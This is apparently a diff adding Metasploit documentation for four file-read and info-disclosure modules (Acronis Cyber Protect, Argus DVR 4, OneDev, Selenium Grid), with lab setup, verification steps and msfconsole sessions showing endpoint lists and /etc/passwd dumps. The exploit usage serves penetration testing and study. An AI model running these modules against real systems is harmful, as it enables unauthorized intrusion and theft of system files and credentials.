+This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance.
+As the management web console is running on the same port as the API for the agents,
+this bearer token is also valid for any actions on the web console.
+This allows an attacker with network access to the appliance to start the registration of a new agent,
+retrieve a bearer token that provides admin access to the available functions in the web console.
+
+This module will gather all machine info (endpoints) configured and managed by the appliance.
+This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands
+on both the managed endpoint and the appliance itself.
+This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
+
+Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
+Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
+
+The following releases were tested.
+
+**Acronis Cyber Protect 15 ISO appliances:**
+* Acronis Cyber Protect 15 Build 28503
+* Acronis Cyber Protect 15 Build 27009
+* Acronis Cyber Protect 15 Build 26981
+* Acronis Cyber Protect 15 Build 26172
+
+**Acronis Cyber Protect 12.5 ISO appliances:**
+* Acronis Cyber Protect 12.5 Build 16428
+* Acronis Cyber Protect 12.5 Build 16386
+* Acronis Cyber Protect 12.5 Build 14330
+* Acronis Cyber Protect 12.5 Build 11010
+
+## Installation steps to install the Acronis Cyber Protect/Backup appliance
+* Install the virtualization engine VMware Fusion on your preferred platform.
+* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html).
+* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US).
+* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image.
+* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address
+* using the option `change installation settings`.
+* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22`
+* via the `webui` via `http://your_ip:9877`.
+* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
+* Login into the appliance via the `webui`.
+* Follow the license instructions to apply your 30-day trial license.
+
+You are now ready to test the module.
+
+## Verification Steps
+- [ ] Start `msfconsole`
+- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
+- [ ] `set rhosts `
+- [ ] `run`
+- [ ] you should get a list of all endpoints that are registered at the appliance.
+
+## Options
+### OUTPUT
+You can use option `table` to print output of the gather info to the console (default).
+Choosing option `json` will store all information at a file in `json` format at the loot directory.
+You can use this file in combination with `jq` for offline queries and processing.
+
+## Scenarios
+```msf
+msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info
+
+ Name: Acronis Cyber Protect/Backup machine info disclosure
+ Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure
+ License: Metasploit Framework License (BSD)
+ Rank: Excellent
+
+Provided by:
+ h00die-gr3y
+ Sandro Tolksdorf of usd AG.
+
+Module side effects:
+ artifacts-on-disk
+ ioc-in-logs
+
+Module stability:
+ crash-safe
+
+Module reliability:
+ repeatable-session
+
+Check supported:
+ Yes
+
+Basic options:
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ OUTPUT table yes Output format to use (Accepted: table, json)
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
+ metasploit.html
+ RPORT 9877 yes The target port (TCP)
+ SSL true no Negotiate SSL/TLS for outgoing connections
+ TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup instance
+ VHOST no HTTP server virtual host
+
+Description:
+ Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
+ compute, storage and application resources. Businesses and Service Providers are using it
+ to protect and backup all IT assets in their IT environment.
+ This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect
+ appliance which, in its default configuration, allows the anonymous registration of new
+ backup/protection agents on new endpoints. This API endpoint also generates bearer tokens
+ which the agent then uses to authenticate to the appliance.
+ As the management web console is running on the same port as the API for the agents, this
+ bearer token is also valid for any actions on the web console. This allows an attacker
+ with network access to the appliance to start the registration of a new agent, retrieve
+ a bearer token that provides admin access to the available functions in the web console.
+
+ This module will gather all machine info (endpoints) configured and managed by the appliance.
+ This information can be used in a subsequent attack that exploits this vulnerability to
+ execute arbitrary commands on both the managed endpoint and the appliance which is covered
+ in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
+
+ Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
+ Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
+
+References:
+ https://nvd.nist.gov/vuln/detail/CVE-2022-30995
+ https://nvd.nist.gov/vuln/detail/CVE-2022-3405
+ https://herolab.usd.de/security-advisories/usd-2022-0008/
+ https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995
+
+View the full module info with the info -d command.
+```
+### Acronis Cyber Backup 12.5 build 14330 VMware appliance
+```msf
+msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6
+rhosts => 192.168.201.6
+msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
+
+[*] Running module against 192.168.201.6
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated.
+[*] Retrieve the first access token.
+[*] Register a dummy backup agent.
+[*] Dummy backup agent registration is successful.
+[*] Retrieve the second access token.
+[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
+[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
+[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
+[*] ----------------------------------------
+[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC
+[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
+[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks
+[*] type: machine
+[*] hostname: WIN-BJDNH44EEDB
+[*] IP: 192.168.201.5
+[*] OS: Microsoft Windows Server 2019 Standard
+[*] ARCH: windows
+[*] ONLINE: false
+[*] ----------------------------------------
+[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83
+[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
+[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks
+[*] type: machine
+[*] hostname: AcronisAppliance-AC319
+[*] IP: 192.168.201.6
+[*] OS: GNU/Linux
+[*] ARCH: linux
+[*] ONLINE: true
+[*] Auxiliary module execution completed
+```
+### Acronis Cyber Backup 15 build 27009 VMware appliance
+```msf
+msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run
+[*] Running module against 192.168.201.6
+
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Retrieve the first access token.
+[*] Register a dummy backup agent.
+[*] Dummy backup agent registration is successful.
+[*] Retrieve the second access token.
+[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009
+[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.
+[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.
+[*] ----------------------------------------
+[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D
+[+] parentId: 00000000-0000-0000-0000-000000000000
+[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks
+[*] type: machine
+[*] hostname: AcronisAppliance-FCD94
+[*] IP: 192.168.201.6
+[*] OS: Linux: CentOS Linux release 7.6.1810 (Core)
+[*] ARCH: linux
+[*] ONLINE: true
+[*] ----------------------------------------
+[+] hostId: C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E
+[+] parentId: 00000000-0000-0000-0000-000000000000
+[+] key: phm.1100195A-112E-4904-A933-264C2D12A4A5@C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E.disks
+[*] type: machine
+[*] hostname: victim.evil.corp
+[*] IP: 192.168.201.2
+[*] OS: Microsoft Windows Server 2022 Standard
+[*] ARCH: windows
+[*] ONLINE: false
+[*] Auxiliary module execution completed
+```
+
+## Limitations
+No limitations.
diff --git a/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md b/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md
new file mode 100644
index 000000000000..88745b574574
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md
@@ -0,0 +1,46 @@
+## Vulnerable Application
+This module leverages an issue with how the `RESULTPAGE` parameter within `WEBACCCOUNT.cgi` handles file referencing and as a result is vulnerable to Local File Inclusion (LFI).
+
+## Options
+To successfully read contents of the Windows file system you must set the full file path of the file you want to check using `TARGET_FILE` (not including the drive letter prefix).
+As a first run it is recommended to try leaking `Windows/system.ini` as a validation exercise on your first module run.
+
+## Testing
+To setup a test environment, the following steps can be performed:
+1. Set up a Windows operating system (any OS that has C:\Windows\system.ini)
+2. Download the [Argus DVR 4 Software](https://download.cnet.com/argus-surveillance-dvr/3000-2348_4-10576796.html)
+3. Run the Argus software and a webpage running on port 8080 will appear. Take note of the machine's IP
+4. On your attacker machine follow the verification steps below.
+
+## Verification Steps
+1. start msfconsole
+2. `use auxiliary/gather/argus_dvr4_lfi_cve_2018_15745`
+3. `set RHOSTS `
+4. `set TARGET_FILE Windows/system.ini`
+5. `run`
+
+## Scenarios
+### Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini
+```
+msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745
+msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15
+RHOSTS => 192.168.1.15
+msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
+TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
+msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
+[*] Running module against 192.168.1.15
+[*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini
+[+] File retrieved successfully!
+[Main]
+ServerName=
+ServerLocation=
+ServerDescription=
+ReadH=0
+UseDialUp=0
+DialUpConName=
+DialUpDisconnectWhenDone=0
+DIALUPUSEDEFAULTS" checked checked
+
+[*] Auxiliary module execution completed
+
+```
\ No newline at end of file
diff --git a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md
new file mode 100644
index 000000000000..6d9029b131c5
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md
@@ -0,0 +1,135 @@
+## Vulnerable Application
+
+OneDev is a Git Server with CI/CD, kanban, and packages.
+This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
+This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file.
+
+To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
+can view existing projects without authentication.
+However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
+By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
+
+## Installation
+
+OneDev provides docker images for a quick setup process.
+A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8).
+
+Installation instructions can be found [here](https://docs.onedev.io/).
+
+## Verification Steps
+
+1. Install the OneDev application
+2. Start msfconsole
+3. Do: `use auxiliary/gather/onedev_arbitrary_file_read`
+4. Set the `RHOSTS` and `RPORT` options as necessary
+5. Set the `TARGETFILE` option with the absolute path of the target file to read
+
+If a valid project name is known:
+
+6. Set the `PROJECT_NAME` option with the known project name
+7. Do: `run`
+8. If the file exists, the contents will be displayed to the user
+
+If there is no information about existing projects:
+
+6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name
+7. Do: `run`
+8. If a valid project name is found, the target file contents will be displayed to the user
+
+## Options
+
+### PROJECT_NAME
+A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server,
+any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled,
+the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force.
+
+### PROJECT_NAMES_FILE
+Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set,
+the module will verify whether a given project exists for each word.
+
+
+### TARGETFILE
+Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default.
+
+### STORE_LOOT
+If set as `true`, the target file contents will be stored as loot. Set as `false` by default.
+
+
+## Scenarios
+
+### Example: Known project name or anonymous access enabled on OneDev 11.0.8
+
+```
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
+RHOSTS => 192.168.1.10
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
+RPORT => 6610
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject
+PROJECT_NAME => myproject
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
+[*] Running module against 192.168.1.10
+
+[+] Target file retrieved with success
+[*] root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
+
+[*] Auxiliary module execution completed
+
+```
+
+### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8
+```
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
+RHOSTS => 192.168.1.10
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
+RPORT => 6610
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt
+PROJECT_NAMES_FILE => /home/server/wordlist.txt
+msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
+[*] Running module against 192.168.1.10
+
+[*] Brute forcing valid project name ...
+[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject
+[+] Target file retrieved with success
+[*] root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
+
+[*] Auxiliary module execution completed
+
+```
diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md
new file mode 100644
index 000000000000..d066ecfe7a11
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/selenium_file_read.md
@@ -0,0 +1,299 @@
+## Vulnerable Application
+
+If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
+In certain cases this can be used to access to the remote file system.
+
+The vulnerability affects:
+
+ * all version of open Selenium Server (Grid)
+
+This module was successfully tested on:
+
+ * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
+
+
+### Installation
+
+1. `docker pull selenium/standalone-firefox:3.141.59`
+
+2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use auxiliary/gather/selenium_file_read`
+4. Do: `run rhost=`
+5. You should get a file content
+
+
+## Options
+
+### SCHEME (Required)
+
+This is the scheme to use. Default is `file`.
+
+### FILEPATH (Required)
+
+This is the file to read. Default is `/etc/passwd`.
+
+### BROWSER (Required)
+
+This is the browser to use. Default is `firefox`.
+
+### TIMEOUT (required)
+
+This is the amount of time (in seconds) that the module will wait for the payload to be
+executed. Defaults to 75 seconds.
+
+
+## Scenarios
+### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
+```
+msf6 > use auxiliary/gather/selenium_file_read
+msf6 auxiliary(gather/selenium_file_read) > options
+
+Module options (auxiliary/gather/selenium_file_read):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge)
+ FILEPATH /etc/passwd yes File to read
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 4444 yes The target port (TCP)
+ SCHEME file yes The scheme to use
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ TIMEOUT 75 yes Timeout for exploit (seconds)
+ VHOST no HTTP server virtual host
+
+
+View the full module info with the info, or info -d command.
+
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
+[*] Running module against 192.168.56.16
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version 3.141.59 detected
+[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
+[+] /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+seluser:x:1200:1201::/home/seluser:/bin/bash
+systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
+rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
+pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
+
+[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+[*] Auxiliary module execution completed
+```
+
+### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+```
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
+[*] Running module against 192.168.56.16
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
+[+] /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+seluser:x:1200:1201::/home/seluser:/bin/bash
+systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
+systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
+messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
+rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
+pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
+
+[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+[*] Auxiliary module execution completed
+```
+
+### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
+```
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
+[*] Running module against 192.168.56.16
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
+[+] /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+seluser:x:1200:1201::/home/seluser:/bin/bash
+systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
+rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
+pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
+
+[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+[*] Auxiliary module execution completed
+```
+
+### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
+```
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
+[*] Running module against 192.168.56.16
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
+[+] /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+seluser:x:1200:1201::/home/seluser:/bin/bash
+systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
+messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
+pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
+
+[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+[*] Auxiliary module execution completed
+```
+
+### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
+```
+msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
+[*] Running module against 192.168.56.16
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (363b104ba9d167f434518d3eb1add0c6).
+[+] /etc/passwd
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
